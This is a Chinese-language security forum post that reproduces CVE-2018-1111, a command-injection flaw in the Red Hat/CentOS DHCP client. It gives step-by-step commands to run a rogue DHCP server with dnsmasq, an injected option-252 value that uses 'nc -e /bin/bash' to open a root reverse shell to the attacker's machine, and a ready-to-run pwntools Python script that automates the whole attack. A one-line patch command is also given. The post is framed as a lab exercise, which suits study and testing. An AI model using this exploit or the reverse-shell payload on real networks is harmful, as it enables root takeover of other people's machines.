搜索
查看: 2186|回复: 0

CVE-2018-1111复现

[复制链接]

613

主题

901

帖子

2301

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2301

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-10-16 15:10:44 | 显示全部楼层 |阅读模式
近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

环境
kali x64
centos 7
vmware14
设置网络
断开kali和centos的网络
将kali和centos都设置成主机模式,并且关闭主机的dhcp功能


对kali做配置
先对自己ip进行配置,添加路由
ifconfig eth0 192.168.131.52 netmask 255.255.255.0

route add default gw 192.168.131.52

利用nc监听1314端口(毕竟520,端口都得选个好的)
nc -l -p 1314 -v

创建一个文件dnsmasq.conf,内容如下
bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.131.10,192.168.131.30,22h

dhcp-option=3,192.168.131.52

dhcp-option=6,192.168.131.52

log-queries

log-facility=/var/log/dnsmasq.log


利用dnsmasq伪造dns服务器
dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash 192.168.131.52 1314 #"


攻击
centos连接网络,发现是由kali分配的ip地址
此时在kali的nc可以拿到centos的shell,且为root权限


原理
360的大佬已经在安全客发了文(https://www.anquanke.com/post/id/145201),

我就不再画蛇添足了,单引号在脚本逃逸了,直接以root权限执行了脚本。
–dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”


范围

本地测试fedora28、centos7通过,而centos6,redhat5未通过(~蜜汁原因~)

修复方法
简单到不能再简单:
yum update dhclient


搞定!

福利
作为ChaMd5里最懒的逍遥自在,肯定是一键exp啦~
代码就在下面,虽然只有一丢丢,不过总好过手输那么多命令啦!
#/usr/bin/python

#encoding = utf-8

from pwn import *

import os

import sys

import time


# author : [url=mailto:xyzz@chamd5.org]xyzz@chamd5.org[/url]

# time : 20180520


ip='192.168.131.52'

port=1314


# context.log_level='debug'


def pwn(ip,port):

 f=open('dnsmasq.conf','w')

 start = ip[:ip.rfind('.')]+'.10'

 end = ip[:ip.rfind('.')]+'.30'

 dnsmasq = '''

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range={start},{end},22h

dhcp-option=3,{ip}

dhcp-option=6,{ip}

log-queries

log-facility=/var/log/dnsmasq.log

'''.format(ip=ip,start=start,end=end)

 f.write(dnsmasq)

 f.close()

 cm=[]

 cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip))

 cm.append('route add default gw {ip}'.format(ip=ip))

 cm.append('''dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash {ip} {port} #"'''.format(ip=ip,port=port))

 q=process('bash')

 for i in range(len(cm)-1):

  q.sendline(cm[i])

  [/i]time.sleep(1)


 # time.sleep(100)

 p=process('bash')

 p.sendline('nc -l -p {port} -v'.format(port=port))

 q.sendline(cm[-1])

 time.sleep(3)

 p.interactive()

 # q.interactive()


if __name__ == '__main__':

 pwn(ip,port)



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
朕知道了
快速回复 返回顶部 返回列表